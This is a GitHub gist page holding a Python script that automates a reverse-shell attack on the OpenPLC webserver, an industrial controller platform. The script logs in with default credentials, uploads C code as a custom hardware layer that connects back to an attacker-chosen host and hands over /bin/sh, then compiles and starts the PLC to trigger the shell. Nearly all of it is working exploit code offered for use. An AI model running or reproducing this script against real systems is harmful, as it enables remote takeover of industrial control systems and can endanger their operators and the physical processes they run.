Skip to content

Instantly share code, notes, and snippets.

@voidvxvt
Last active January 7, 2025 06:06
Show Gist options
  • Save voidvxvt/6eeaa89a186429b29877a0720471dbf0 to your computer and use it in GitHub Desktop.
Save voidvxvt/6eeaa89a186429b29877a0720471dbf0 to your computer and use it in GitHub Desktop.
Automation to pop a rev shell on OpenPLC Webserver
#!/usr/bin/env python3
import requests
import argparse
from time import sleep
g_openplc_revsh = '''
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = REV_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REV_HOST");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
'''
def parse_args():
parser = argparse.ArgumentParser( description= 'OpenPLC pwn - Automation to pop a rev shell on OpenPLC Webserver' )
parser.add_argument( 'target_host', help= 'target ip address, hostname or fqdn' )
parser.add_argument( 'target_port', help= 'target port' )
parser.add_argument( 'rev_host', help= 'ip address, hostname or fqdn of host to catch the reverse shell' )
parser.add_argument( 'rev_port', help= 'port used to catch the reverse shell' )
parser.add_argument( '--username', help= 'username to login with. default: "openplc"', default= 'openplc' )
parser.add_argument( '--password', help= 'password to login with. default: "openplc"', default= 'openplc' )
return parser.parse_args()
def main():
args = parse_args()
s = requests.session()
base_url = f'http://{args.target_host}:{args.target_port}'
res = s.post(
url= base_url + '/login',
headers= {
'Content-Type':'application/x-www-form-urlencoded'
},
data= {
'username':'openplc',
'password':'openplc'
}
)
if res.status_code == 200:
print('[+] Authentication successful.')
else:
print('[-] Authentication failed. Aborting...')
exit()
openplc_revsh = g_openplc_revsh.replace( 'REV_HOST', args.rev_host ).replace( 'REV_PORT', args.rev_port )
res = s.post(
url= base_url + '/hardware',
data= {
'hardware_layer': 'blank_linux',
'custom_layer_code': openplc_revsh
}
)
if res.status_code == 200:
print('[+] Successfully uploaded reverse shell.')
else:
print('[-] Failed to upload reverse shell. Aborting...')
exit()
print('[i] Compiling reverse shell...')
res = s.get( url= base_url + '/compile-program?file=blank_program.st' )
if res.status_code == 200:
while True:
res = s.get( url= base_url + '/compilation-logs' )
if 'Compilation finished successfully!' in res.text:
print('[+] Compilation finished successfully!')
print('[i] Triggering reverse shell...')
try:
s.get( url= base_url + '/start_plc', timeout= 2 )
except requests.exceptions.Timeout:
print('[+] Triggered reverse shell -> go check your nc listener :D')
exit()
except Exception as e:
print( f'[!] Request Exception {e}')
exit()
else:
print('[i] Waiting 2 seconds for the compilation process to finish...')
sleep(2)
continue
if __name__ == '__main__':
main()
@voidvxvt
Copy link
Author

voidvxvt commented Jan 6, 2025

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment